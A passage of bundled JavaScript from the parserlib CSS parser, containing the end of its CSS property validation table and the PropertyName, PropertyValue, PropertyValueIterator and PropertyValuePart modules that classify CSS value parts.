3377 "bookmark-target" : "none | <uri> | <attr>",
3378 "border" : "<border-width> || <border-style> || <color>",
3379 "border-bottom" : "<border-width> || <border-style> || <color>",
3380 "border-bottom-color" : "<color>",
3381 "border-bottom-left-radius" : "<x-one-radius>",
3382 "border-bottom-right-radius" : "<x-one-radius>",
3383 "border-bottom-style" : "<border-style>",
3384 "border-bottom-width" : "<border-width>",
3385 "border-collapse" : "collapse | separate",
3386 "border-color" : "<color>{1,4}",
3387 "border-image" : 1,
3388 "border-image-outset" : "[ <length> | <number> ]{1,4}",
3389 "border-image-repeat" : "[ stretch | repeat | round ]{1,2}",
3390 "border-image-slice" : "<border-image-slice>",
3391 "border-image-source" : "<image> | none",
3392 "border-image-width" : "[ <length> | <percentage> | <number> | auto ]{1,4}",
3393 "border-left" : "<border-width> || <border-style> || <color>",
3394 "border-left-color" : "<color>",
3395 "border-left-style" : "<border-style>",
3396 "border-left-width" : "<border-width>",
3397 "border-radius" : "<border-radius>",
3398 "border-right" : "<border-width> || <border-style> || <color>",
3399 "border-right-color" : "<color>",
3400 "border-right-style" : "<border-style>",
3401 "border-right-width" : "<border-width>",
3402 "border-spacing" : "<length>{1,2}",
3403 "border-style" : "<border-style>{1,4}",
3404 "border-top" : "<border-width> || <border-style> || <color>",
3405 "border-top-color" : "<color>",
3406 "border-top-left-radius" : "<x-one-radius>",
3407 "border-top-right-radius" : "<x-one-radius>",
3408 "border-top-style" : "<border-style>",
3409 "border-top-width" : "<border-width>",
3410 "border-width" : "<border-width>{1,4}",
3411 "bottom" : "<margin-width>",
3412 "-moz-box-align" : "start | end | center | baseline | stretch",
3413 "-moz-box-decoration-break" : "slice | clone",
3414 "-moz-box-direction" : "normal | reverse",
3415 "-moz-box-flex" : "<number>",
3416 "-moz-box-flex-group" : "<integer>",
3417 "-moz-box-lines" : "single | multiple",
3418 "-moz-box-ordinal-group" : "<integer>",
3419 "-moz-box-orient" : "horizontal | vertical | inline-axis | block-axis",
3420 "-moz-box-pack" : "start | end | center | justify",
3421 "-o-box-decoration-break" : "slice | clone",
3422 "-webkit-box-align" : "start | end | center | baseline | stretch",
3423 "-webkit-box-decoration-break" : "slice | clone",
3424 "-webkit-box-direction" : "normal | reverse",
3425 "-webkit-box-flex" : "<number>",
3426 "-webkit-box-flex-group" : "<integer>",
3427 "-webkit-box-lines" : "single | multiple",
3428 "-webkit-box-ordinal-group" : "<integer>",
3429 "-webkit-box-orient" : "horizontal | vertical | inline-axis | block-axis",
3430 "-webkit-box-pack" : "start | end | center | justify",
3431 "box-decoration-break" : "slice | clone",
3432 "box-shadow" : "<box-shadow>",
3433 "box-sizing" : "content-box | border-box",
3434 "break-after" : "auto | always | avoid | left | right | page | column | avoid-page | avoid-column",
3435 "break-before" : "auto | always | avoid | left | right | page | column | avoid-page | avoid-column",
3436 "break-inside" : "auto | avoid | avoid-page | avoid-column",
3437
3438 //C
3439 "caption-side" : "top | bottom",
3440 "clear" : "none | right | left | both",
3441 "clip" : "<shape> | auto",
3442 "-webkit-clip-path" : "<clip-source> | <clip-path> | none",
3443 "clip-path" : "<clip-source> | <clip-path> | none",
3444 "clip-rule" : "nonzero | evenodd",
3445 "color" : "<color>",
3446 "color-interpolation" : "auto | sRGB | linearRGB",
3447 "color-interpolation-filters" : "auto | sRGB | linearRGB",
3448 "color-profile" : 1,
3449 "color-rendering" : "auto | optimizeSpeed | optimizeQuality",
3450 "column-count" : "<integer> | auto", //https://www.w3.org/TR/css3-multicol/
3451 "column-fill" : "auto | balance",
3452 "column-gap" : "<length> | normal",
3453 "column-rule" : "<border-width> || <border-style> || <color>",
3454 "column-rule-color" : "<color>",
3455 "column-rule-style" : "<border-style>",
3456 "column-rule-width" : "<border-width>",
3457 "column-span" : "none | all",
3458 "column-width" : "<length> | auto",
3459 "columns" : 1,
3460 "content" : 1,
3461 "counter-increment" : 1,
3462 "counter-reset" : 1,
3463 "crop" : "<shape> | auto",
3464 "cue" : "cue-after | cue-before",
3465 "cue-after" : 1,
3466 "cue-before" : 1,
3467 "cursor" : 1,
3468
3469 //D
3470 "direction" : "ltr | rtl",
3471 "display" : "inline | block | list-item | inline-block | table | inline-table | table-row-group | table-header-group | table-footer-group | table-row | table-column-group | table-column | table-cell | table-caption | grid | inline-grid | run-in | ruby | ruby-base | ruby-text | ruby-base-container | ruby-text-container | contents | none | -moz-box | -moz-inline-block | -moz-inline-box | -moz-inline-grid | -moz-inline-stack | -moz-inline-table | -moz-grid | -moz-grid-group | -moz-grid-line | -moz-groupbox | -moz-deck | -moz-popup | -moz-stack | -moz-marker | -webkit-box | -webkit-inline-box | -ms-flexbox | -ms-inline-flexbox | flex | -webkit-flex | inline-flex | -webkit-inline-flex",
3472 "dominant-baseline" : "auto | use-script | no-change | reset-size | ideographic | alphabetic | hanging | mathematical | central | middle | text-after-edge | text-before-edge",
3473 "drop-initial-after-adjust" : "central | middle | after-edge | text-after-edge | ideographic | alphabetic | mathematical | <percentage> | <length>",
3474 "drop-initial-after-align" : "baseline | use-script | before-edge | text-before-edge | after-edge | text-after-edge | central | middle | ideographic | alphabetic | hanging | mathematical",
3475 "drop-initial-before-adjust" : "before-edge | text-before-edge | central | middle | hanging | mathematical | <percentage> | <length>",
3476 "drop-initial-before-align" : "caps-height | baseline | use-script | before-edge | text-before-edge | after-edge | text-after-edge | central | middle | ideographic | alphabetic | hanging | mathematical",
3477 "drop-initial-size" : "auto | line | <length> | <percentage>",
3478 "drop-initial-value" : "<integer>",
3479
3480 //E
3481 "elevation" : "<angle> | below | level | above | higher | lower",
3482 "empty-cells" : "show | hide",
3483 "enable-background" : 1,
3484
3485 //F
3486 "fill" : "<paint>",
3487 "fill-opacity" : "<opacity-value>",
3488 "fill-rule" : "nonzero | evenodd",
3489 "filter" : "<filter-function-list> | none",
3490 "fit" : "fill | hidden | meet | slice",
3491 "fit-position" : 1,
3492 "flex" : "<flex>",
3493 "flex-basis" : "<width>",
3494 "flex-direction" : "row | row-reverse | column | column-reverse",
3495 "flex-flow" : "<flex-direction> || <flex-wrap>",
3496 "flex-grow" : "<number>",
3497 "flex-shrink" : "<number>",
3498 "flex-wrap" : "nowrap | wrap | wrap-reverse",
3499 "-webkit-flex" : "<flex>",
3500 "-webkit-flex-basis" : "<width>",
3501 "-webkit-flex-direction" : "row | row-reverse | column | column-reverse",
3502 "-webkit-flex-flow" : "<flex-direction> || <flex-wrap>",
3503 "-webkit-flex-grow" : "<number>",
3504 "-webkit-flex-shrink" : "<number>",
3505 "-webkit-flex-wrap" : "nowrap | wrap | wrap-reverse",
3506 "-ms-flex" : "<flex>",
3507 "-ms-flex-align" : "start | end | center | stretch | baseline",
3508 "-ms-flex-direction" : "row | row-reverse | column | column-reverse",
3509 "-ms-flex-order" : "<number>",
3510 "-ms-flex-pack" : "start | end | center | justify",
3511 "-ms-flex-wrap" : "nowrap | wrap | wrap-reverse",
3512 "float" : "left | right | none",
3513 "float-offset" : 1,
3514 "flood-color" : 1,
3515 "flood-opacity" : "<opacity-value>",
3516 "font" : "<font-shorthand> | caption | icon | menu | message-box | small-caption | status-bar",
3517 "font-family" : "<font-family>",
3518 "font-feature-settings" : "<feature-tag-value> | normal",
3519 "font-kerning" : "auto | normal | none",
3520 "font-size" : "<font-size>",
3521 "font-size-adjust" : "<number> | none",
3522 "font-stretch" : "<font-stretch>",
3523 "font-style" : "<font-style>",
3524 "font-variant" : "<font-variant> | normal | none",
3525 "font-variant-alternates" : "<font-variant-alternates> | normal",
3526 "font-variant-caps" : "<font-variant-caps> | normal",
3527 "font-variant-east-asian" : "<font-variant-east-asian> | normal",
3528 "font-variant-ligatures" : "<font-variant-ligatures> | normal | none",
3529 "font-variant-numeric" : "<font-variant-numeric> | normal",
3530 "font-variant-position" : "normal | sub | super",
3531 "font-weight" : "<font-weight>",
3532
3533 //G
3534 "glyph-orientation-horizontal" : "<glyph-angle>",
3535 "glyph-orientation-vertical" : "auto | <glyph-angle>",
3536 "grid" : 1,
3537 "grid-area" : 1,
3538 "grid-auto-columns" : 1,
3539 "grid-auto-flow" : 1,
3540 "grid-auto-position" : 1,
3541 "grid-auto-rows" : 1,
3542 "grid-cell-stacking" : "columns | rows | layer",
3543 "grid-column" : 1,
3544 "grid-columns" : 1,
3545 "grid-column-align" : "start | end | center | stretch",
3546 "grid-column-sizing" : 1,
3547 "grid-column-start" : 1,
3548 "grid-column-end" : 1,
3549 "grid-column-span" : "<integer>",
3550 "grid-flow" : "none | rows | columns",
3551 "grid-layer" : "<integer>",
3552 "grid-row" : 1,
3553 "grid-rows" : 1,
3554 "grid-row-align" : "start | end | center | stretch",
3555 "grid-row-start" : 1,
3556 "grid-row-end" : 1,
3557 "grid-row-span" : "<integer>",
3558 "grid-row-sizing" : 1,
3559 "grid-template" : 1,
3560 "grid-template-areas" : 1,
3561 "grid-template-columns" : 1,
3562 "grid-template-rows" : 1,
3563
3564 //H
3565 "hanging-punctuation" : 1,
3566 "height" : "<margin-width> | <content-sizing>",
3567 "hyphenate-after" : "<integer> | auto",
3568 "hyphenate-before" : "<integer> | auto",
3569 "hyphenate-character" : "<string> | auto",
3570 "hyphenate-lines" : "no-limit | <integer>",
3571 "hyphenate-resource" : 1,
3572 "hyphens" : "none | manual | auto",
3573
3574 //I
3575 "icon" : 1,
3576 "image-orientation" : "angle | auto",
3577 "image-rendering" : "auto | optimizeSpeed | optimizeQuality",
3578 "image-resolution" : 1,
3579 "ime-mode" : "auto | normal | active | inactive | disabled",
3580 "inline-box-align" : "last | <integer>",
3581
3582 //J
3583 "justify-content" : "flex-start | flex-end | center | space-between | space-around",
3584 "-webkit-justify-content" : "flex-start | flex-end | center | space-between | space-around",
3585
3586 //K
3587 "kerning" : "auto | <length>",
3588
3589 //L
3590 "left" : "<margin-width>",
3591 "letter-spacing" : "<length> | normal",
3592 "line-height" : "<line-height>",
3593 "line-break" : "auto | loose | normal | strict",
3594 "line-stacking" : 1,
3595 "line-stacking-ruby" : "exclude-ruby | include-ruby",
3596 "line-stacking-shift" : "consider-shifts | disregard-shifts",
3597 "line-stacking-strategy" : "inline-line-height | block-line-height | max-height | grid-height",
3598 "list-style" : 1,
3599 "list-style-image" : "<uri> | none",
3600 "list-style-position" : "inside | outside",
3601 "list-style-type" : "disc | circle | square | decimal | decimal-leading-zero | lower-roman | upper-roman | lower-greek | lower-latin | upper-latin | armenian | georgian | lower-alpha | upper-alpha | none",
3602
3603 //M
3604 "margin" : "<margin-width>{1,4}",
3605 "margin-bottom" : "<margin-width>",
3606 "margin-left" : "<margin-width>",
3607 "margin-right" : "<margin-width>",
3608 "margin-top" : "<margin-width>",
3609 "mark" : 1,
3610 "mark-after" : 1,
3611 "mark-before" : 1,
3612 "marker" : 1,
3613 "marker-end" : 1,
3614 "marker-mid" : 1,
3615 "marker-start" : 1,
3616 "marks" : 1,
3617 "marquee-direction" : 1,
3618 "marquee-play-count" : 1,
3619 "marquee-speed" : 1,
3620 "marquee-style" : 1,
3621 "mask" : 1,
3622 "max-height" : "<length> | <percentage> | <content-sizing> | none",
3623 "max-width" : "<length> | <percentage> | <content-sizing> | none",
3624 "min-height" : "<length> | <percentage> | <content-sizing> | contain-floats | -moz-contain-floats | -webkit-contain-floats",
3625 "min-width" : "<length> | <percentage> | <content-sizing> | contain-floats | -moz-contain-floats | -webkit-contain-floats",
3626 "move-to" : 1,
3627
3628 //N
3629 "nav-down" : 1,
3630 "nav-index" : 1,
3631 "nav-left" : 1,
3632 "nav-right" : 1,
3633 "nav-up" : 1,
3634
3635 //O
3636 "object-fit" : "fill | contain | cover | none | scale-down",
3637 "object-position" : "<position>",
3638 "opacity" : "<opacity-value>",
3639 "order" : "<integer>",
3640 "-webkit-order" : "<integer>",
3641 "orphans" : "<integer>",
3642 "outline" : 1,
3643 "outline-color" : "<color> | invert",
3644 "outline-offset" : 1,
3645 "outline-style" : "<border-style>",
3646 "outline-width" : "<border-width>",
3647 "overflow" : "visible | hidden | scroll | auto",
3648 "overflow-style" : 1,
3649 "overflow-wrap" : "normal | break-word",
3650 "overflow-x" : 1,
3651 "overflow-y" : 1,
3652
3653 //P
3654 "padding" : "<padding-width>{1,4}",
3655 "padding-bottom" : "<padding-width>",
3656 "padding-left" : "<padding-width>",
3657 "padding-right" : "<padding-width>",
3658 "padding-top" : "<padding-width>",
3659 "page" : 1,
3660 "page-break-after" : "auto | always | avoid | left | right",
3661 "page-break-before" : "auto | always | avoid | left | right",
3662 "page-break-inside" : "auto | avoid",
3663 "page-policy" : 1,
3664 "pause" : 1,
3665 "pause-after" : 1,
3666 "pause-before" : 1,
3667 "perspective" : 1,
3668 "perspective-origin" : 1,
3669 "phonemes" : 1,
3670 "pitch" : 1,
3671 "pitch-range" : 1,
3672 "play-during" : 1,
3673 "pointer-events" : "auto | none | visiblePainted | visibleFill | visibleStroke | visible | painted | fill | stroke | all",
3674 "position" : "static | relative | absolute | fixed",
3675 "presentation-level" : 1,
3676 "punctuation-trim" : 1,
3677
3678 //Q
3679 "quotes" : 1,
3680
3681 //R
3682 "rendering-intent" : 1,
3683 "resize" : 1,
3684 "rest" : 1,
3685 "rest-after" : 1,
3686 "rest-before" : 1,
3687 "richness" : 1,
3688 "right" : "<margin-width>",
3689 "rotation" : 1,
3690 "rotation-point" : 1,
3691 "ruby-align" : 1,
3692 "ruby-overhang" : 1,
3693 "ruby-position" : 1,
3694 "ruby-span" : 1,
3695
3696 //S
3697 "shape-rendering" : "auto | optimizeSpeed | crispEdges | geometricPrecision",
3698 "size" : 1,
3699 "speak" : "normal | none | spell-out",
3700 "speak-header" : "once | always",
3701 "speak-numeral" : "digits | continuous",
3702 "speak-punctuation" : "code | none",
3703 "speech-rate" : 1,
3704 "src" : 1,
3705 "stop-color" : 1,
3706 "stop-opacity" : "<opacity-value>",
3707 "stress" : 1,
3708 "string-set" : 1,
3709 "stroke" : "<paint>",
3710 "stroke-dasharray" : "none | <dasharray>",
3711 "stroke-dashoffset" : "<percentage> | <length>",
3712 "stroke-linecap" : "butt | round | square",
3713 "stroke-linejoin" : "miter | round | bevel",
3714 "stroke-miterlimit" : "<miterlimit>",
3715 "stroke-opacity" : "<opacity-value>",
3716 "stroke-width" : "<percentage> | <length>",
3717
3718 "table-layout" : "auto | fixed",
3719 "tab-size" : "<integer> | <length>",
3720 "target" : 1,
3721 "target-name" : 1,
3722 "target-new" : 1,
3723 "target-position" : 1,
3724 "text-align" : "left | right | center | justify | match-parent | start | end",
3725 "text-align-last" : 1,
3726 "text-anchor" : "start | middle | end",
3727 "text-decoration" : "<text-decoration-line> || <text-decoration-style> || <text-decoration-color>",
3728 "text-decoration-color" : "<text-decoration-color>",
3729 "text-decoration-line" : "<text-decoration-line>",
3730 "text-decoration-style" : "<text-decoration-style>",
3731 "text-emphasis" : 1,
3732 "text-height" : 1,
3733 "text-indent" : "<length> | <percentage>",
3734 "text-justify" : "auto | none | inter-word | inter-ideograph | inter-cluster | distribute | kashida",
3735 "text-outline" : 1,
3736 "text-overflow" : 1,
3737 "text-rendering" : "auto | optimizeSpeed | optimizeLegibility | geometricPrecision",
3738 "text-shadow" : 1,
3739 "text-transform" : "capitalize | uppercase | lowercase | none",
3740 "text-wrap" : "normal | none | avoid",
3741 "top" : "<margin-width>",
3742 "-ms-touch-action" : "auto | none | pan-x | pan-y | pan-left | pan-right | pan-up | pan-down | manipulation",
3743 "touch-action" : "auto | none | pan-x | pan-y | pan-left | pan-right | pan-up | pan-down | manipulation",
3744 "transform" : 1,
3745 "transform-origin" : 1,
3746 "transform-style" : 1,
3747 "transition" : 1,
3748 "transition-delay" : 1,
3749 "transition-duration" : 1,
3750 "transition-property" : 1,
3751 "transition-timing-function" : 1,
3752
3753 //U
3754 "unicode-bidi" : "normal | embed | isolate | bidi-override | isolate-override | plaintext",
3755 "user-modify" : "read-only | read-write | write-only",
3756 "user-select" : "none | text | toggle | element | elements | all",
3757
3758 //V
3759 "vertical-align" : "auto | use-script | baseline | sub | super | top | text-top | central | middle | bottom | text-bottom | <percentage> | <length>",
3760 "visibility" : "visible | hidden | collapse",
3761 "voice-balance" : 1,
3762 "voice-duration" : 1,
3763 "voice-family" : 1,
3764 "voice-pitch" : 1,
3765 "voice-pitch-range" : 1,
3766 "voice-rate" : 1,
3767 "voice-stress" : 1,
3768 "voice-volume" : 1,
3769 "volume" : 1,
3770
3771 //W
3772 "white-space" : "normal | pre | nowrap | pre-wrap | pre-line | -pre-wrap | -o-pre-wrap | -moz-pre-wrap | -hp-pre-wrap", // https://perishablepress.com/wrapping-content/
3773 "white-space-collapse" : 1,
3774 "widows" : "<integer>",
3775 "width" : "<length> | <percentage> | <content-sizing> | auto",
3776 "will-change" : "<will-change>",
3777 "word-break" : "normal | keep-all | break-all",
3778 "word-spacing" : "<length> | normal",
3779 "word-wrap" : "normal | break-word",
3780 "writing-mode" : "horizontal-tb | vertical-rl | vertical-lr | lr-tb | rl-tb | tb-rl | bt-rl | tb-lr | bt-lr | lr-bt | rl-bt | lr | rl | tb",
3781
3782 //Z
3783 "z-index" : "<integer> | auto",
3784 "zoom" : "<number> | <percentage> | normal"
3785};
3786
3787},{}],8:[function(require,module,exports){
3788"use strict";
3789
3790module.exports = PropertyName;
3791
3792var SyntaxUnit = require("../util/SyntaxUnit");
3793
3794var Parser = require("./Parser");
3795
3796/**
3797 * Represents a selector combinator (whitespace, +, >).
3798 * @namespace parserlib.css
3799 * @class PropertyName
3800 * @extends parserlib.util.SyntaxUnit
3801 * @constructor
3802 * @param {String} text The text representation of the unit.
3803 * @param {String} hack The type of IE hack applied ("*", "_", or null).
3804 * @param {int} line The line of text on which the unit resides.
3805 * @param {int} col The column of text on which the unit resides.
3806 */
3807function PropertyName(text, hack, line, col) {
3808
3809 SyntaxUnit.call(this, text, line, col, Parser.PROPERTY_NAME_TYPE);
3810
3811 /**
3812 * The type of IE hack applied ("*", "_", or null).
3813 * @type String
3814 * @property hack
3815 */
3816 this.hack = hack;
3817
3818}
3819
3820PropertyName.prototype = new SyntaxUnit();
3821PropertyName.prototype.constructor = PropertyName;
3822PropertyName.prototype.toString = function() {
3823 return (this.hack ? this.hack : "") + this.text;
3824};
3825
3826},{"../util/SyntaxUnit":26,"./Parser":6}],9:[function(require,module,exports){
3827"use strict";
3828
3829module.exports = PropertyValue;
3830
3831var SyntaxUnit = require("../util/SyntaxUnit");
3832
3833var Parser = require("./Parser");
3834
3835/**
3836 * Represents a single part of a CSS property value, meaning that it represents
3837 * just everything single part between ":" and ";". If there are multiple values
3838 * separated by commas, this type represents just one of the values.
3839 * @param {String[]} parts An array of value parts making up this value.
3840 * @param {int} line The line of text on which the unit resides.
3841 * @param {int} col The column of text on which the unit resides.
3842 * @namespace parserlib.css
3843 * @class PropertyValue
3844 * @extends parserlib.util.SyntaxUnit
3845 * @constructor
3846 */
3847function PropertyValue(parts, line, col) {
3848
3849 SyntaxUnit.call(this, parts.join(" "), line, col, Parser.PROPERTY_VALUE_TYPE);
3850
3851 /**
3852 * The parts that make up the selector.
3853 * @type Array
3854 * @property parts
3855 */
3856 this.parts = parts;
3857
3858}
3859
3860PropertyValue.prototype = new SyntaxUnit();
3861PropertyValue.prototype.constructor = PropertyValue;
3862
3863
3864},{"../util/SyntaxUnit":26,"./Parser":6}],10:[function(require,module,exports){
3865"use strict";
3866
3867module.exports = PropertyValueIterator;
3868
3869/**
3870 * A utility class that allows for easy iteration over the various parts of a
3871 * property value.
3872 * @param {parserlib.css.PropertyValue} value The property value to iterate over.
3873 * @namespace parserlib.css
3874 * @class PropertyValueIterator
3875 * @constructor
3876 */
3877function PropertyValueIterator(value) {
3878
3879 /**
3880 * Iterator value
3881 * @type int
3882 * @property _i
3883 * @private
3884 */
3885 this._i = 0;
3886
3887 /**
3888 * The parts that make up the value.
3889 * @type Array
3890 * @property _parts
3891 * @private
3892 */
3893 this._parts = value.parts;
3894
3895 /**
3896 * Keeps track of bookmarks along the way.
3897 * @type Array
3898 * @property _marks
3899 * @private
3900 */
3901 this._marks = [];
3902
3903 /**
3904 * Holds the original property value.
3905 * @type parserlib.css.PropertyValue
3906 * @property value
3907 */
3908 this.value = value;
3909
3910}
3911
3912/**
3913 * Returns the total number of parts in the value.
3914 * @return {int} The total number of parts in the value.
3915 * @method count
3916 */
3917PropertyValueIterator.prototype.count = function() {
3918 return this._parts.length;
3919};
3920
3921/**
3922 * Indicates if the iterator is positioned at the first item.
3923 * @return {Boolean} True if positioned at first item, false if not.
3924 * @method isFirst
3925 */
3926PropertyValueIterator.prototype.isFirst = function() {
3927 return this._i === 0;
3928};
3929
3930/**
3931 * Indicates if there are more parts of the property value.
3932 * @return {Boolean} True if there are more parts, false if not.
3933 * @method hasNext
3934 */
3935PropertyValueIterator.prototype.hasNext = function() {
3936 return this._i < this._parts.length;
3937};
3938
3939/**
3940 * Marks the current spot in the iteration so it can be restored to
3941 * later on.
3942 * @return {void}
3943 * @method mark
3944 */
3945PropertyValueIterator.prototype.mark = function() {
3946 this._marks.push(this._i);
3947};
3948
3949/**
3950 * Returns the next part of the property value or null if there is no next
3951 * part. Does not move the internal counter forward.
3952 * @return {parserlib.css.PropertyValuePart} The next part of the property value or null if there is no next
3953 * part.
3954 * @method peek
3955 */
3956PropertyValueIterator.prototype.peek = function(count) {
3957 return this.hasNext() ? this._parts[this._i + (count || 0)] : null;
3958};
3959
3960/**
3961 * Returns the next part of the property value or null if there is no next
3962 * part.
3963 * @return {parserlib.css.PropertyValuePart} The next part of the property value or null if there is no next
3964 * part.
3965 * @method next
3966 */
3967PropertyValueIterator.prototype.next = function() {
3968 return this.hasNext() ? this._parts[this._i++] : null;
3969};
3970
3971/**
3972 * Returns the previous part of the property value or null if there is no
3973 * previous part.
3974 * @return {parserlib.css.PropertyValuePart} The previous part of the
3975 * property value or null if there is no previous part.
3976 * @method previous
3977 */
3978PropertyValueIterator.prototype.previous = function() {
3979 return this._i > 0 ? this._parts[--this._i] : null;
3980};
3981
3982/**
3983 * Restores the last saved bookmark.
3984 * @return {void}
3985 * @method restore
3986 */
3987PropertyValueIterator.prototype.restore = function() {
3988 if (this._marks.length) {
3989 this._i = this._marks.pop();
3990 }
3991};
3992
3993/**
3994 * Drops the last saved bookmark.
3995 * @return {void}
3996 * @method drop
3997 */
3998PropertyValueIterator.prototype.drop = function() {
3999 this._marks.pop();
4000};
4001
4002},{}],11:[function(require,module,exports){
4003"use strict";
4004
4005module.exports = PropertyValuePart;
4006
4007var SyntaxUnit = require("../util/SyntaxUnit");
4008
4009var Colors = require("./Colors");
4010var Parser = require("./Parser");
4011var Tokens = require("./Tokens");
4012
4013/**
4014 * Represents a single part of a CSS property value, meaning that it represents
4015 * just one part of the data between ":" and ";".
4016 * @param {String} text The text representation of the unit.
4017 * @param {int} line The line of text on which the unit resides.
4018 * @param {int} col The column of text on which the unit resides.
4019 * @namespace parserlib.css
4020 * @class PropertyValuePart
4021 * @extends parserlib.util.SyntaxUnit
4022 * @constructor
4023 */
4024function PropertyValuePart(text, line, col, optionalHint) {
4025 var hint = optionalHint || {};
4026
4027 SyntaxUnit.call(this, text, line, col, Parser.PROPERTY_VALUE_PART_TYPE);
4028
4029 /**
4030 * Indicates the type of value unit.
4031 * @type String
4032 * @property type
4033 */
4034 this.type = "unknown";
4035
4036 //figure out what type of data it is
4037
4038 var temp;
4039
4040 //it is a measurement?
4041 if (/^([+\-]?[\d\.]+)([a-z]+)$/i.test(text)) { //dimension
4042 this.type = "dimension";
4043 this.value = +RegExp.$1;
4044 this.units = RegExp.$2;
4045
4046 //try to narrow down
4047 switch (this.units.toLowerCase()) {
4048
4049 case "em":
4050 case "rem":
4051 case "ex":
4052 case "px":
4053 case "cm":
4054 case "mm":
4055 case "in":
4056 case "pt":
4057 case "pc":
4058 case "ch":
4059 case "vh":
4060 case "vw":
4061 case "vmax":
4062 case "vmin":
4063 this.type = "length";
4064 break;
4065
4066 case "fr":
4067 this.type = "grid";
4068 break;
4069
4070 case "deg":
4071 case "rad":
4072 case "grad":
4073 case "turn":
4074 this.type = "angle";
4075 break;
4076
4077 case "ms":
4078 case "s":
4079 this.type = "time";
4080 break;
4081
4082 case "hz":
4083 case "khz":
4084 this.type = "frequency";
4085 break;
4086
4087 case "dpi":
4088 case "dpcm":
4089 this.type = "resolution";
4090 break;
4091
4092 //default
4093
4094 }
4095
4096 } else if (/^([+\-]?[\d\.]+)%$/i.test(text)) { //percentage
4097 this.type = "percentage";
4098 this.value = +RegExp.$1;
4099 } else if (/^([+\-]?\d+)$/i.test(text)) { //integer
4100 this.type = "integer";
4101 this.value = +RegExp.$1;
4102 } else if (/^([+\-]?[\d\.]+)$/i.test(text)) { //number
4103 this.type = "number";
4104 this.value = +RegExp.$1;
4105
4106 } else if (/^#([a-f0-9]{3,6})/i.test(text)) { //hexcolor
4107 this.type = "color";
4108 temp = RegExp.$1;
4109 if (temp.length === 3) {
4110 this.red = parseInt(temp.charAt(0)+temp.charAt(0), 16);
4111 this.green = parseInt(temp.charAt(1)+temp.charAt(1), 16);
4112 this.blue = parseInt(temp.charAt(2)+temp.charAt(2), 16);
4113 } else {
4114 this.red = parseInt(temp.substring(0, 2), 16);
4115 this.green = parseInt(temp.substring(2, 4), 16);
4116 this.blue = parseInt(temp.substring(4, 6), 16);
4117 }
4118 } else if (/^rgb\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*\)/i.test(text)) { //rgb() color with absolute numbers
4119 this.type = "color";
4120 this.red = +RegExp.$1;
4121 this.green = +RegExp.$2;
4122 this.blue = +RegExp.$3;
4123 } else if (/^rgb\(\s*(\d+)%\s*,\s*(\d+)%\s*,\s*(\d+)%\s*\)/i.test(text)) { //rgb() color with percentages
4124 this.type = "color";
4125 this.red = +RegExp.$1 * 255 / 100;
4126 this.green = +RegExp.$2 * 255 / 100;
4127 this.blue = +RegExp.$3 * 255 / 100;
4128 } else if (/^rgba\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*,\s*([\d\.]+)\s*\)/i.test(text)) { //rgba() color with absolute numbers
4129 this.type = "color";
4130 this.red = +RegExp.$1;
4131 this.green = +RegExp.$2;
4132 this.blue = +RegExp.$3;
4133 this.alpha = +RegExp.$4;
4134 } else if (/^rgba\(\s*(\d+)%\s*,\s*(\d+)%\s*,\s*(\d+)%\s*,\s*([\d\.]+)\s*\)/i.test(text)) { //rgba() color with percentages
4135 this.type = "color";
4136 this.red = +RegExp.$1 * 255 / 100;
4137 this.green = +RegExp.$2 * 255 / 100;
4138 this.blue = +RegExp.$3 * 255 / 100;
4139 this.alpha = +RegExp.$4;
4140 } else if (/^hsl\(\s*(\d+)\s*,\s*(\d+)%\s*,\s*(\d+)%\s*\)/i.test(text)) { //hsl()
4141 this.type = "color";
4142 this.hue = +RegExp.$1;
4143 this.saturation = +RegExp.$2 / 100;
4144 this.lightness = +RegExp.$3 / 100;
4145 } else if (/^hsla\(\s*(\d+)\s*,\s*(\d+)%\s*,\s*(\d+)%\s*,\s*([\d\.]+)\s*\)/i.test(text)) { //hsla() color with percentages
4146 this.type = "color";
4147 this.hue = +RegExp.$1;
4148 this.saturation = +RegExp.$2 / 100;
4149 this.lightness = +RegExp.$3 / 100;
4150 this.alpha = +RegExp.$4;
4151 } else if (/^url\(("([^\\"]|\\.)*")\)/i.test(text)) { //URI
4152 // generated by TokenStream.readURI, so always double-quoted.
4153 this.type = "uri";
4154 this.uri = PropertyValuePart.parseString(RegExp.$1);
4155 } else if (/^([^\(]+)\(/i.test(text)) {
4156 this.type = "function";
4157 this.name = RegExp.$1;
4158 this.value = text;
4159 } else if (/^"([^\n\r\f\\"]|\\\r\n|\\[^\r0-9a-f]|\\[0-9a-f]{1,6}(\r\n|[ \n\r\t\f])?)*"/i.test(text)) { //double-quoted string
4160 this.type = "string";
4161 this.value = PropertyValuePart.parseString(text);
4162 } else if (/^'([^\n\r\f\\']|\\\r\n|\\[^\r0-9a-f]|\\[0-9a-f]{1,6}(\r\n|[ \n\r\t\f])?)*'/i.test(text)) { //single-quoted string
4163 this.type = "string";
4164 this.value = PropertyValuePart.parseString(text);
4165 } else if (Colors[text.toLowerCase()]) { //named color
4166 this.type = "color";
4167 temp = Colors[text.toLowerCase()].substring(1);
4168 this.red = parseInt(temp.substring(0, 2), 16);
4169 this.green = parseInt(temp.substring(2, 4), 16);
4170 this.blue = parseInt(temp.substring(4, 6), 16);
4171 } else if (/^[,\/]$/.test(text)) {
4172 this.type = "operator";
4173 this.value = text;
4174 } else if (/^-?[a-z_\u00A0-\uFFFF][a-z0-9\-_\u00A0-\uFFFF]*$/i.test(text)) {
4175 this.type = "identifier";
4176 this.value = text;
4177 }
4178
4179 // There can be ambiguity with escape sequences in identifiers, as
4180 // well as with "color" parts which are also "identifiers", so record
4181 // an explicit hint when the token generating this PropertyValuePart
4182 // was an identifier.
4183 this.wasIdent = Boolean(hint.ident);
4184
4185}
4186
4187PropertyValuePart.prototype = new SyntaxUnit();
4188PropertyValuePart.prototype.constructor = PropertyValuePart;
4189
4190/**
4191 * Helper method to parse a CSS string.
4192 */
4193PropertyValuePart.parseString = function(str) {
4194 str = str.slice(1, -1); // Strip surrounding single/double quotes
4195 var replacer = function(match, esc) {
4196 if (/^(\n|\r\n|\r|\f)$/.test(esc)) {
4197 return "";
4198 }
4199 var m = /^[0-9a-f]{1,6}/i.exec(esc);
4200 if (m) {
4201 var codePoint = parseInt(m[0], 16);
4202 if (String.fromCodePoint) {
4203 return String.fromCodePoint(codePoint);
4204 } else {
4205 // XXX No support for surrogates on old JavaScript engines.
4206 return String.fromCharCode(codePoint);
4207 }
4208 }
4209 return esc;
4210 };
